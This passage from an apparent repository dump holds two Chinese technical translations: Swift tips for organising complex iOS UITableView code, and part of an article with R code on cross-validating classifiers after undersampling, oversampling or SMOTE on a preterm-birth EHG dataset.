controller。加上数组索引计算和偶尔的越界错误，你会在这些代码中遭受很多挫折。\n\n我会给出一些我认为有益（至少在现在是有益）的原则，它们帮助我解决了很多问题。这些建议并不仅仅针对复杂的 table view，对你所有的 table view 来说它们都能适用。\n\n我们来看一下一个复杂的 `UITableView` 的例子。\n\n![](https://cdn-images-1.medium.com/max/2000/1*qzuG8HnLA5c5qA2HbP6jAA.png)\n\n这些很棒的截屏插图来自 [LazyAmphy](https://lazyamphy.deviantart.com/)\n\n这是 PokeBall，一个为 Pokémon 定制的社交网络。像其它社交网络一样，它需要一个 feed 流来显示跟用户相关的不同事件。这些事件包括新的照片和状态信息，按天进行分组。所以，现在我们有两个需要担心的问题：一是 table view 有不同的状态，二是多个 cell 和 section。\n\n## 1. 让 cell 处理一些逻辑\n\n我见过很多开发者将 cell 的配置逻辑放到  `cellForRowAt:` 方法中。仔细思考一下，这个方法的目的是创建一个 cell。`UITableViewDataSource` 的目的是提供数据。**数据源的作用不是用来设置按钮字体的。**\n\n```\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n  let cell = tableView.dequeueReusableCell(\n    withIdentifier: identifier,\n    for: indexPath) as! StatusTableViewCell\n  \n  let status = statuses[indexPath.row]\n  cell.statusLabel.text = status.text\n  cell.usernameLabel.text = status.user.name\n  \n  cell.statusLabel.font = .boldSystemFont(ofSize: 16)\n  return cell\n}\n```\n\n你应该把配置和设置 cell 样式的代码放到 cell 中。如果是一些在 cell 的整个生命周期都存在的东西，例如一个 label 的字体，就应该把它放在 `awakeFromNib` 方法中。\n\n```\nclass StatusTableViewCell: UITableViewCell {\n  \n  @IBOutlet weak var statusLabel: UILabel!\n  @IBOutlet weak var usernameLabel: UILabel!\n  \n  override func awakeFromNib() {\n    super.awakeFromNib()\n    \n    statusLabel.font = .boldSystemFont(ofSize: 16)\n  }\n}\n```\n\n另外你也可以给属性添加观察者来设置 cell 的数据。\n\n```\nvar status: Status! {\n  didSet {\n    statusLabel.text = status.text\n    usernameLabel.text = status.user.name\n  }\n}\n```\n\n那样的话你的 `cellForRow` 方法就变得简洁易读了。\n\n```\nfunc tableView(_ tableView: UITableView, \n  cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n  let cell = tableView.dequeueReusableCell(\n    withIdentifier: identifier,\n    for: indexPath) as! StatusTableViewCell\n  cell.status = statuses[indexPath.row]\n  return cell\n}\n```\n\n此外，cell 的设置逻辑现在被放置在一个单独的地方，而不是散落在 cell 和 view controller 中。\n\n## 2. 让 model 处理一些逻辑\n\n通常，你会用从某个后台服务中获取的一组 model 对象来填充一个 table view。然后 cell 需要根据 model 来显示不同的内容。\n\n```\nvar status: Status! {\n  didSet {\n    statusLabel.text = status.text\n    usernameLabel.text = status.user.name\n    \n    if status.comments.isEmpty {\n      commentIconImageView.image = UIImage(named: \"no-comment\")\n    } else {\n      commentIconImageView.image = UIImage(named: \"comment-icon\")\n    }\n    \n    if status.isFavorite {\n      favoriteButton.setTitle(\"Unfavorite\", for: .normal)\n    } else {\n      favoriteButton.setTitle(\"Favorite\", for: .normal)\n    }\n  }\n}\n```\n\n你可以创建一个适配 cell 的对象，传入上文提到的 model 对象来初始化它，在其中计算 cell 中需要的标题，图片以及其它属性。\n\n```\nclass StatusCellModel {\n  \n  let commentIcon: UIImage\n  let favoriteButtonTitle: String\n  let statusText: String\n  let usernameText: String\n  \n  init(_ status: Status) {\n    statusText = status.text\n    usernameText = status.user.name\n    \n    if status.comments.isEmpty {\n      commentIcon = UIImage(named: \"no-comments-icon\")!\n    } else {\n      commentIcon = UIImage(named: \"comments-icon\")!\n    }\n    \n    favoriteButtonTitle = status.isFavorite ? \"Unfavorite\" : \"Favorite\"\n  }\n}\n```\n\n现在你可以将大量的展示 cell 的逻辑移到 model 中。你可以独立地实例化并单元测试你的 model 了，不需要在单元测试中做复杂的数据模拟和 cell 获取了。这也意味着你的 cell 会变得非常简单易读。\n\n```\nvar model: StatusCellModel! {\n  didSet {\n    statusLabel.text = model.statusText\n    usernameLabel.text = model.usernameText\n    commentIconImageView.image = model.commentIcon\n    favoriteButton.setTitle(model.favoriteButtonTitle, for: .normal)\n  }\n}\n```\n\n这是一种类似于 [MVVM](http://artsy.github.io/blog/2015/09/24/mvvm-in-swift/) 的模式，只是应用在一个单独的 table view 的 cell 中。\n\n## 3. 使用矩阵（但是把它弄得漂亮点）\n\n![Just a regular iOS developer making some table views](https://cdn-images-1.medium.com/max/1600/1*EnFp796gd61cMcpnUv3Vcg.jpeg)\n\n分组的 table view 经常乱成一团。你见过下面这种情况吗？\n\n```\nfunc tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n  switch section {\n  case 0: return \"Today\"\n  case 1: return \"Yesterday\"\n  default: return nil\n  }\n}\n```\n\n这一大团代码中，使用了大量的硬编码的索引，而这些索引本应该是简单并且易于改变和转换的。对这个问题有一个简单的解决方案：矩阵。\n\n记得矩阵么？搞机器学习的人以及一年级的计算机科学专业的学生会经常用到它，但是应用开发者通常不会用到。如果你考虑一个分组的 table view，其实你是在展示分组的列表。每个分组是一个 cell 的列表。听起来像是一个数组的数组，或者说矩阵。\n\n![](https://cdn-images-1.medium.com/max/1600/1*DrkAd_ssNhl2ezokmXH_Zg.png)\n\n矩阵才是你组织分组 table view 的正确姿势。用数组的数组来替代一维的数组。 `UITableViewDataSource` 的方法也是这样组织的：你被要求返回第 m 组的第 n 个 cell，而不是 table view 的第 n 个 cell。\n\n```\nvar cells: [[Status]] = [[]]\n  \nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n  let cell = tableView.dequeueReusableCell(\n    withIdentifier: identifier,\n    for: indexPath) as! StatusTableViewCell\n  cell.status = statuses[indexPath.section][indexPath.row]\n  return cell\n}\n```\n\n我们可以通过定义一个分组容器类型来扩展这个思路。这个类型不仅持有一个特定分组的 cell，也持有像分组标题之类的信息。\n\n```\nstruct Section {\n  let title: String\n  let cells: [Status]\n}\nvar sections: [Section] = []\n```\n\n现在我们可以避免之前 switch 中使用的硬编码索引了，我们定义一个分组的数组并直接返回它们的标题。\n\n```\nfunc tableView(_ tableView: UITableView, \n  titleForHeaderInSection section: Int) -> String? {\n  return sections[section].title\n}\n```\n\n这样在我们的数据源方法中代码更少了，相应地也减少了越界错误的风险。代码的表达力和可读性也变得更好。\n\n## 4. 枚举是你的朋友\n\n处理多种 cell 的类型有时候会很棘手。例如在某种 feed 流中，你不得不展示不同类型的 cell，像是图片和状态信息。为了保持代码优雅以及避免奇怪的数组索引计算，你应该将各种类型的数据存储到同一个数组中。\n\n然而数组是同质的，意味着你不能在同一个数组中存储不同的类型。面对这个问题首先想到的解决方案是协议。毕竟 Swift 是面向协议的。\n\n你可以定义一个 FeedItem 协议，并且让我们的 cell 的 model 对象都遵守这个协议。\n\n```\nprotocol FeedItem {}\nstruct Status: FeedItem { ... }\nstruct Photo: FeedItem { ... }\n```\n\n然后定义一个持有 FeedItem 类型对象的数组。\n\n```\nvar cells: [FeedItem] = []\n```\n\n但是，用这个方案实现 cellForRowAt: 方法时，会有一个小问题。\n\n```\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n  let cellModel = cells[indexPath.row]\n  \n  if let model = cellModel as? Status {\n    let cell = ...\n    return cell\n  } else if let model = cellModel as? Photo {\n    let cell = ...\n    return cell\n  } else {\n    fatalError()\n  }\n}\n```\n\n在让 model 对象遵守协议的同时，你丢失了大量你实际上需要的信息。你对 cell 进行了抽象，但是实际上你需要的是具体的实例。所以，你最终必须检查是否可以将 model 对象转换成某个类型，然后才能据此显示 cell。\n\n这样也能达到目的，但是还不够好。向下转换对象类型内在就是不安全的，而且会产生可选类型。你也无法得知是否覆盖了所有的情况，因为有无限的类型可以遵守你的协议。所以你还需要调用 `fatalError` 方法来处理意外的类型。\n\n当你试图把一个协议类型的实例转化成具体的类型时，代码的味道就不对了。使用协议是在你不需要具体的信息时，只要有原始数据的一个子集就能完成任务。\n\n更好的实现是使用枚举。那样你可以用 switch 来处理它，而当你没有处理全部情况时代码就无法编译通过。\n\n```\nenum FeedItem {\n  case status(Status)\n  case photo(Photo)\n}\n```\n\n枚举也可以具有关联的值，所以也可以在实际的值中放入需要的数据。\n\n数组依然是那样定义，但你的 `cellForRowAt:` 方法会变的清爽很多：\n\n```\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n  let cellModel = cells[indexPath.row]\n  \n  switch cellModel {\n  case .status(let status):\n    let cell = ... \n    return cell\n  case .photo(let photo):\n    let cell = ...\n    return cell\n  }\n}\n```\n\n这样你就没有类型转换，没有可选类型，没有未处理的情况，所以也不会有 bug。\n\n## 5. 让状态变得明确\n\n![](https://cdn-images-1.medium.com/max/2000/1*qzuG8HnLA5c5qA2HbP6jAA.png)\n\n这些很棒的截屏插图来自 [LazyAmphy](https://lazyamphy.deviantart.com/)\n\n空白的页面可能会使用户困惑，所以我们一般在 table view 为空时在页面上显示一些消息。我们也会在加载数据时显示一个加载标记。但是如果页面出了问题，我们最好告诉用户发生了什么，以便他们知道如何解决问题。\n\n我们的 table view 通常拥有所有的这些状态，有时候还会更多。管理这些状态就有些痛苦了。\n\n我们假设你有两种可能的状态：显示数据，或者一个提示用户没有数据的视图。初级开发者可能会简单的通过隐藏 table view，显示无数据视图来表明“无数据”的状态。\n\n```\nnoDataView.isHidden = false\ntableView.isHidden = true\n```\n\n在这种情况下改变状态意味着你要修改两个布尔值属性。在 view controller 的另一部分中，你可能想修改这个状态，你必须牢记你要同时修改这两个属性。\n\n实际上，这两个布尔值总是同步变化的。不能显示着无数据视图的时候，又在列表里显示一些数据。\n\n我们有必要思考一下实际中状态的数值和应用中可能出现的状态数值有何不同。**两个布尔值有四种可能的组合。**这表示你有两种无效的状态，在某些情况下你可能会变成这些无效的状态值，你必须处理这种意外情况。\n\n你可以通过定义一个 `State` 枚举来解决这个问题，枚举中只列举你的页面可能出现的状态。\n\n```\nenum State {\n  case noData\n  case loaded\n}\nvar state: State = .noData\n```\n\n你也可以定义一个单独的 `state` 属性，来作为修改页面状态的唯一入口。每当该属性变化时，你就更新页面到相应的状态。\n\n```\nvar state: State = .noData {\n  didSet {\n    switch state {\n    case .noData:\n      noDataView.isHidden = false\n      tableView.isHidden = true\n    case .loaded:\n      noDataView.isHidden = false\n      tableView.isHidden = true\n    }\n  }\n}\n```\n\n如果你只通过这个属性来修改状态，就能保证不会忘记修改某个布尔值属性，也就不会使页面处于无效的状态中。现在改变页面状态就变得简单了。\n\n```\nself.state = .noData\n```\n\n可能的状态数量越多，这种模式就越有用。\n你甚至可以通过关联值将错误信息和列表数据都放置在枚举中。\n\n```\nenum State {\n  case noData\n  case loaded([Cell])\n  case error(String)\n}\nvar state: State = .noData {\n  didSet {\n    switch state {\n    case .noData:\n      noDataView.isHidden = false\n      tableView.isHidden = true\n      errorView.isHidden = true\n    case .loaded(let cells):\n      self.cells = cells\n      noDataView.isHidden = true\n      tableView.isHidden = false\n      errorView.isHidden = true\n    case .error(let error):\n      errorView.errorLabel.text = error      \n      noDataView.isHidden = true\n      tableView.isHidden = true\n      errorView.isHidden = false\n    }\n  }\n}\n```\n\n至此你定义了一个单独的数据结构，它完全满足了整个 table view controller 的数据需求。它[\n易于测试](https://medium.cobeisfresh.com/unit-testing-in-swift-part-1-the-philosophy-9bc85ed5001b)（因为它是一个纯 Swift 值），为 table view 提供了一个**唯一更新入口**和**唯一数据源**。欢迎来到易于调试的新世界！\n\n## 几点建议\n\n还有几点不值得单独写一节的小建议，但是它们依然很有用：\n\n**响应式！**\n\n确保你的 table view 总是展示数据源的当前状态。使用一个属性观察者来刷新 table view，不要试图手动控制刷新。\n\n```\nvar cells: [Cell] = [] {\n  didSet {\n    tableView.reloadData()\n  }\n}\n```\n\n**Delegate != View Controller**\n\n任何对象和结构都可以实现某个协议！你下次写一个复杂的 table view 的数据源或者代理时一定要记住这一点。有效而且更优的做法是定义一个类型专门用作 table view 的数据源。这样会使你的 view controller 保持整洁，把逻辑和责任分离到各自的对象中。\n\n**不要操作具体的索引值！**\n\n如果你发现自己在处理某个特定的索引值，在分组中使用 switch 语句以区别索引值，或者其它类似的逻辑，那么你很有可能做了错误的设计。如果你在特定的位置需要特定的 cell，你应该在源数据的数组中体现出来。不要在代码中手动地隐藏这些 cell。\n\n**牢记迪米特法则**\n\n简而言之，迪米特法则（或者最少知识原则）指出，在程序设计中，实例应该只和它的朋友交谈，而不能和朋友的朋友交谈。等等，这是说的啥？\n\n换句话说，一个对象只应访问它自身的属性。不应该访问其属性的属性。因此， `UITableViewDataSource` 不应该设置 cell 的 label 的 `text` 属性。如果你看见一个表达式中有两个点（`cell.label.text = ...`），通常说明你的对象访问的太深入了。\n\n如果你不遵循迪米特法则，当你修改 cell 的时候你也不得不同时修改数据源。将 cell 和数据源解耦使得你在修改其中一项时不会影响另一项。\n\n**小心错误的抽象**\n\n有时候，多个相近的 `UITableViewCell 类` 会比一个包含大量 if 语句的 cell 类要好得多。你不知道未来它们会如何分歧，抽象它们可能会是设计上的陷阱。YAGNI（你不会需要它）是个好的原则，但有时候你会实现成 YJMNI（你只是可能需要它）。\n\n希望这些建议能帮助你，我确信你肯定会有下一次做 table view 的时候。这里还有一些扩展阅读的资源可以给你更多的帮助：\n\n- [迪米特法则](https://en.wikipedia.org/wiki/Law_of_Demeter)\n- [错误的抽象](https://www.sandimetz.com/blog/2016/1/20/the-wrong-abstraction?duplication)\n- [你并不需要它](https://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it)\n\n如果你有任何问题或建议，欢迎在下方留言。\n\nMarin 是 COBE 的一名 iOS 开发人员，一名[博主](https://medium.cobeisfresh.com/marinbenc.com)和一名计算机科学学生。他喜欢编程，学习东西，然后写下它们，还喜欢骑自行车和喝咖啡。大多数情况下，他只会把 SourceKit 搞崩溃。他有一只叫 Amigo 的胖猫。他基本上不是靠自己写完的这篇文章。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation.md",
    "content": "\n> * 原文地址：[DEALING WITH IMBALANCED DATA: UNDERSAMPLING, OVERSAMPLING AND PROPER CROSS-VALIDATION](http://www.marcoaltini.com/blog/dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation)\n> * 原文作者：[Marco Altini](https://twitter.com/marco_alt)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation.md](https://github.com/xitu/gold-miner/blob/master/TODO/dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation.md)\n> * 译者：[edvardhua](https://github.com/edvardHua)\n> * 校对者：[lileizhenshuai](https://github.com/lileizhenshuai), [lsvih](https://github.com/lsvih)\n\n# 在使用过采样或欠采样处理类别不均衡的数据后，如何正确的做交叉验证？\n\n**[关于我在这篇文章中使用的术语可以在 [Physionet](http://www.physionet.org/pn6/tpehgdb/) 网站中找到。 本篇博客中用到的代码可以在 [github](https://github.com/marcoalt/Physionet-EHG-imbalanced-data)中找到]**\n\n几个星期前我阅读了一篇[交叉验证的技术文档（Cross Validation Done Wrong）](http://www.alfredo.motta.name/cross-validation-done-wrong)， 在交叉验证的过程中，我们希望能够了解到我们的模型的泛化性能，以及它是如何预测我们感兴趣的未知样本的。基于这个出发点，作者提出了很多好的观点（尤其是关于特征选择的）。我们的确经常在进行交叉验证之前进行特征选择，但是需要注意的是我们在特征选择的时候，不能将验证集的数据加入到特征选择这个环节中去。\n\n但是，这篇文章并没有涉及到我们在实际应用经常出现的问题。例如，如何在不均衡的数据上合理的进行交叉验证。在医疗领域，我们所拥有的数据集一般只包含两种类别的数据， **正常** 样本和 **相关** 样本。譬如说在癌症检查的应用我们可能只有很小一部分病人患上了癌症（相关样本）而其余的大部分样本都是健康的个体。就算不在医疗领域，这种情况也存在（甚至更多），比如欺诈识别，它们的数据集中的相关样本和正常样本的比例都有可能会是 1:100000。\n\n## 手头的问题\n\n因为分类器对数据中类别占比较大的数据比较敏感，而对占比较小的数据则没那么敏感，所以我们需要在交叉验证之前对不均衡数据进行预处理。所以如果我们不处理类别不均衡的数据，分类器的输出结果就会存在偏差，也就是在预测过程中大多数情况下都会给出偏向于某个类别的结果，这个类别是训练的时候占比较大的那个类别。这个问题并不是我的研究领域，但是自从我在[做早产预测的工作的时候](https://medium.com/40-weeks/37-772d7f519f9)经常会遇到这种问题。早产是指短于 37 周的妊娠，大部分欧洲国家的早产率约占 6-7％，美国的早产率为 11％，因此我们可以看到数据是非常不均衡的。\n\n我最近无意中发现两篇关于早产预测的文章，他们是使用 Electrohysterography (EHG)数据来做预测的。作者只使用了一个单独的 EHG 横截面数据（通过捕获子宫电活动获得）训练出来的模型就声称在预测早产的时候具备很高的精度（ [2], 对比没有使用过采样时的 AUC = 0.52-0.60，他的模型的 **AUC 可以达到 0.99** ）.\n\n这个结果给我们的感觉像是 **过拟合和错误的交叉验证** 所造成的，在我解释原因之前，让我们先来观看下面的数据：\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/8966602.jpg?449)\n\n这四张密度图表示的是他所用到的四个特征的在两个类别上的分布，这两个类别为正常分娩与早产（f = false，表示正常分娩，使用红色的线表示；t = true, 则表示为早产，用蓝色的线表示）。我们从图中可以看到这四个特征并没有很强的区分两个类别的能力。他所提取出来的特征在两个特征上的分布基本上就是重叠的。我们可以认为这是一个无用输入，无用输出的例子，而不是说这个模型缺少数据。\n\n只要稍微思考一下该问题所在的领域，我们就会对 auc=0.99 这个结果提出质疑。因为区分正常分娩和早产没有一个很明确的区分。假设我们设置 37 周就为正常的分娩时间。 **那么如果你在第 36 周后的第 6 天分娩，那么我们则标记为早产。反之，如果在 37 周后 1 天妊娠，我们则标记为在正常的妊娠期内。** 很明显，这两种情况下区分早产和正常分娩是没有意义的，37 周只是一个惯例，因此，预测结果会大受影响并且对于分娩时间在 37 周左右的样本，结果会非常不精确。\n\n在[这里](http://www.physionet.org/pn6/tpehgdb/)可以下载到所使用的数据集。在这篇文章中我会重复的展示数据集中的一部分特点，并且展示我们在过采样的情况下该如何进行合适的交叉验证。希望我在这个问题上所提出的一些矫正方案能够在未来让我们避免再犯这样的错误。\n\n## 数据集，特征，性能评估和交叉验证技术\n\n**数据集**\n\n我们使用的数据来自于卢布尔雅那医学中心大学妇产科，数据中涵盖了从1997 年到 2005 年斯洛维尼亚地区的妊娠记录。他包含了从正常怀孕的 EHG 截面数据。 **这个数据是非常不均衡的，因为 300 个记录中只有 38 条才是早孕。** 更加详细的信息可以在 [3] 中找到。简单来说，我们选择 EHG 截面的理由是因为 EHG 测量的是子宫的电活动图，而这个活动图在怀孕期间会不断的变化，直到导致子宫收缩分娩出孩子。因此，研究推断非侵入性情况下监测怀孕活动可以尽早的发现哪些孕妇会早产。\n\n**特征与分类器**\n\n在 Physionet 上，你可以找到所有关于该研究的原始数据，但是为了让下面的实验不那么复杂，我们用到的是作者提供的另外一份数据来进行分析，这份数据中包含的特征是从原始数据中筛选出来的，筛选的条件是根据特征与 EHG 活动之间的相关频率。我们有四个特征（EHG信号的均方根，中值频率，频率峰值和样本熵，[这里](http://physionet.mit.edu/pn6/tpehgdb/tpehgdb.pdf) 有关如何计算这些特征值的更多信息）。据收集数据集的研究人员所说，大部分有价值的信息都是来自于渠道 3，因此我将使用从渠道 3 预提取出来的特征。详细的数据集也在 [github](https://github.com/marcoalt/Physionet-EHG-imbalanced-data) 可以找到。因为我们是要训练分类器分类器，所以我使用了一些常见的训练分类器的算法：逻辑回归、分类树、SVM 和随机森林。在博客中我不会做任何特征选择，而是将所有的数据都用来训练模型。\n\n**评测指标**\n\n在这里我们使用 **召回率** ， **真假率** 和 **AUC** 作为评测指标，关于指标的含义可以查看 [wikipedia](https://en.wikipedia.org/wiki/Sensitivity_and_specificity)\n\n**交叉验证**\n\n我决定使用 **留一法** 来做交叉验证。这种技术在使用数据集时或者当欠采样时不会有任何错误的余地。但是，当过采样时，情况又会有点不一样，所以让我们看下面的分析。\n\n## 类别不均衡的数据\n\n当我们遇到数据不均衡的时候，我们该如何做：\n\n- 忽略这个问题\n- 对占比较大的类别进行欠采样\n- 对占比较小的类别进行过采样\n\n## 忽略这个问题\n\n如果我们使用不均衡的数据来训练分类器，那么训练出来的分类器在预测数据的时候总会返回数据集中占比最大的数据所对应的类别作为结果。这样的分类器具备太大的偏差，下面是训练这样的分类器所对应的代码：\n\n```R\n#leave one participant out cross-validation\nresults_lr <- rep(NA, nrow(data_to_use))\nresults_tree <- rep(NA, nrow(data_to_use))\nresults_svm <- rep(NA, nrow(data_to_use))\nresults_rf <- rep(NA, nrow(data_to_use))\n\nfor(index_subj  in 1:nrow(data_to_use))\n{\n  #remove subject to validate\n  training_data <- data_to_use[-index_subj, ]\n  training_data_formula <- training_data[, c(\"preterm\", features)]\n\n  #select features in the validation set\n  validation_data <- data_to_use[index_subj, features]\n\n  #logistic regression\n  glm.fit <- glm(preterm ~.,\n                 data = training_data_formula,\n                 family = binomial)\n  glm.probs <- predict(glm.fit, validation_data, type = \"response\")\n  predictions_lr <- ifelse(glm.probs < 0.5, \"t\", \"f\")\n  results_lr[index_subj] <- predictions_lr\n\n  #classification tree\n  tree.fit <- tree(preterm ~.,\n                   data = training_data_formula)\n  predictions_tree <- predict(tree.fit, validation_data, type = \"class\")\n  results_tree[index_subj] <- predictions_tree\n\n  #svm\n  svm <- svm(preterm ~.,\n             data = training_data_formula\n  )\n  predictions_svm <- predict(svm, validation_data)\n  results_svm[index_subj] <- predictions_svm\n\n  #random forest      \n  rf <- randomForest(preterm ~.,\n                     data = training_data_formula)\n  predictions_rf <- predict(rf, validation_data)\n  results_rf[index_subj] <- predictions_rf   \n}\n```\n\n从上面的代码可以看出，在每次迭代中，我只需选择 index_subj 下标所对应的数据作为验证集，然后使用剩余的数据（即训练数据）构建模型。结果如下图所示\n\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/8399061.png?281)\n\n如预期的那样，分类器的偏差太大，召回率为零或非常接近零，而真假率为1或非常接近于1，即所有或几乎所有记录被检测为会正常分娩，因此基本没有识别出早产的记录。下面的实验则使用了欠采样的方法。\n\n## 对大类样本进行欠采样\n\n处理类别不平衡数据的最常见和最简单的策略之一是对大类样本进行欠采样。 尽管过去也有很多关于解决数据不均衡的办法（例如，对具体样本进行欠采样，例如“远离决策边界”的方法）[4]，但那些方法都不能改进在简单随机选择样本的情况下有任何性能上的提升。 因此，我们的实验将从占比较大的类别下的样本中随机选择 *n* 个样本，其中 *n* 的值等于占比较小的类别下的样本的总数，并在训练阶段使用它们，然后在验证中排除掉这些样本。 代码如下：\n\n```R\n#leave one participant out cross-validation\nresults_lr <- rep(NA, nrow(data_to_use))\nresults_tree <- rep(NA, nrow(data_to_use))\nresults_svm <- rep(NA, nrow(data_to_use))\nresults_rf <- rep(NA, nrow(data_to_use))\n\nrows_preterm <- sum(data_to_use$preterm == \" t         \") #weird string, haven't changed it for now\nfor(index_subj  in 1:nrow(data_to_use))\n{\n  #remove subject to validate\n  training_data <- data_to_use[-index_subj, ]\n  training_data_preterm <- training_data[training_data$preterm == \" t         \", ]\n  training_data_term <- training_data[training_data$preterm == \" f         \", ]\n\n  #get subsample to balance dataset\n  indices <- sample(nrow(training_data_term), rows_preterm)\n  training_data_term <- training_data_term[indices, ]\n  training_data <- rbind(training_data_preterm, training_data_term)\n\n  #select features in the training set\n  training_data_formula <- training_data[, c(\"preterm\", features)]\n\n  #select features in the validation set\n  validation_data <- data_to_use[index_subj, features]\n\n  #logistic regression\n  glm.fit <- glm(preterm ~.,\n                 data = training_data_formula,\n                 family = binomial)\n  glm.probs <- predict(glm.fit, validation_data, type = \"response\")\n  predictions_lr <- ifelse(glm.probs < 0.5, \"t\", \"f\")\n  results_lr[index_subj] <- predictions_lr\n\n  #classification tree\n  tree.fit <- tree(preterm ~.,\n                   data = training_data_formula)\n  predictions_tree <- predict(tree.fit, validation_data, type = \"class\")\n  results_tree[index_subj] <- predictions_tree\n\n  #svm\n  svm <- svm(preterm ~.,\n                    data = training_data_formula\n  )\n  predictions_svm <- predict(svm, validation_data)\n  results_svm[index_subj] <- predictions_svm\n\n  #random forest      \n  rf <- randomForest(preterm ~.,\n                                     data = training_data_formula,\n                                     sampsize = c(nrow(training_data_preterm), nrow(training_data_preterm)))\n  predictions_rf <- predict(rf, validation_data)\n  results_rf[index_subj] <- predictions_rf   \n}\n```\n\n如上所述，上面的代码与之前最大的不同的是在每次迭代的时候，我们从占比较大的类别下的样本中选取了 *n* ，然后使用这个 n 个样本和占比类别较小的样本组成了训练集来训练我们的分类器。结果如下图所示：\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/3234654.png?293)\n\n通过欠采样，我们解决了数据类别不均衡的问题，并且提高了模型的召回率，但是，模型的表现并不是很好。其中一个原因可能是因为我们用来训练模型的数据过少。一般来说，如果我们的数据集中的类别越不均衡，那么我们在欠采样中抛弃的数据就会越多，那么就意味着我们可能抛弃了一些潜在的并且有用的信息。现在我们应该这样问我们自己，我们是否训练了一个弱的分类器，而原因是因为我们没有太多的数据？还是说我们依赖了不好的特征，所以就算数据再多对模型也没有帮助？\n\n## 对少数类样本过采样\n\n如果我们在 **交叉验证** 之前进行过采样会导致 **过拟合** 的问题。那么产生这个问题的原因是什么呢？让我们来看下面的一个关于过采样的简单实例。\n\n最简单的过采样方式就是对占比类别较小下的样本进行重新采样，譬如说创建这些样本的副本，或者手动制造一些相同的数据。现在，如果我们在交叉验证之前做了过采样，然后使用留一法做交叉验证，也就是说我们在每次迭代中使用 N-1 份样本做训练，而只使用 1 份样本验证。 **但是我们注意到在其实在 N-1 份的样本中是包含了那一份用来做验证的样本的。所以这样做交叉验证完全违背了初衷。** 让我们用图形化的方式来更好的审视这个问题。\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/2639934.jpg?401)\n\n最左边那列表示的是原始的数据，里面包含了少数类下的两个样本。我们拷贝这两个样本作为副本，然后再进行交叉验证。在迭代的过程，我们的训练样本和验证样本会包含相同的数据，如最右那张图所示，这种情况下会导致过拟合或误导的结果，合适的做法应该如下图所示。\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/9101820.jpg?372)\n\n也就是说我们每次迭代做交叉验证之前先将验证样本从训练样本中分离出来，然后再对训练样本中少数类样本进行过采样（橙色那块图所示）。在这个示例中少数类样本只有两个，所以我拷贝了三份副本。这种做法与之前最大的不同就是训练样本和验证样本是没有交集的。因为我们获得一个比之前好的结果。即使我们使用其他的交叉验证方法，譬如 k-flod ，做法也是一样的。\n\n这是一个简单的例子，当然我们也可以使用更加好的方法来做过采样。其中一种使用的过采样方法叫做 **SMOTE** 方法，SMOTE 方法并不是采取简单复制样本的策略来增加少数类样本， **而是通过分析少数类样本来创建新的样本** 的同时对多数类样本进行欠采样。正常来说当我们简单复制样本的时候，训练出来的分类器在预测这些复制样本时会很有信心的将他们识别出来，你为他知道这些复制样本的所有边界和特点，而不是以概括的角度来刻画这些少数类样本。但是，SMOTE 可以有效的强制让分类的边界更加的泛化，一定程度上解决了不够泛化而导致的过拟合问题。在 SMOTE 的[论文](https://www.jair.org/media/953/live-953-2037-jair.pdf)中用了很多图来进行解释这个问题的原理和解决方案，所以我建议大家可以去看看。\n\n但是，我们有一定必须要清楚的是 **使用 SMOTE 过采样的确会提升决策边界，但是却并没有解决前面所提到的交叉验证所面临的问题。** 如果我们使用相同的样本来训练和验证模型，模型的技术指标肯定会比采样了合理交叉验证方法所训练出来的模型效果好。也就是说我在上面所举的例子对应的问题是仍然存在的。 **下面让我们来看一下在交叉验证之前进行过采样会得出怎样的结果。** \n\n**错误的使用交叉验证和过采样**\n\n下面的代码将会先进行过采样，然后再进入交叉验证的循环，我们使用 SMOTE 方法合成了我们的样本：\n\n```R\ndata_to_use <- tpehgdb_features\ndata_to_use_smote <- SMOTE(preterm ~ . , cbind(data_to_use[, c(\"preterm\", features)]), k=5, perc.over = 600)\n\nmetrics_all <- data.frame()\n\n#leave one participant out cross-validation\nresults_lr <- rep(NA, nrow(data_to_use_smote))\nresults_tree <- rep(NA, nrow(data_to_use_smote))\nresults_svm <- rep(NA, nrow(data_to_use_smote))\nresults_rf <- rep(NA, nrow(data_to_use_smote))\n\nfor(index_subj  in 1:nrow(data_to_use_smote))\n{\n  #remova subject to validate\n  training_data <- data_to_use[-index_subj, ]\n\n  #no need to balance the dataset anymore     \n  #select features in the training set\n  training_data_formula <- training_data[, c(\"preterm\", features)]\n\n  #select features in the validation set\n  validation_data <- data_to_use_smote[index_subj, features]\n\n  #logistic regression\n  glm.fit <- glm(preterm ~.,\n                 data = training_data_formula,\n                 family = binomial)\n  glm.probs <- predict(glm.fit, validation_data, type = \"response\")\n  predictions_lr <- 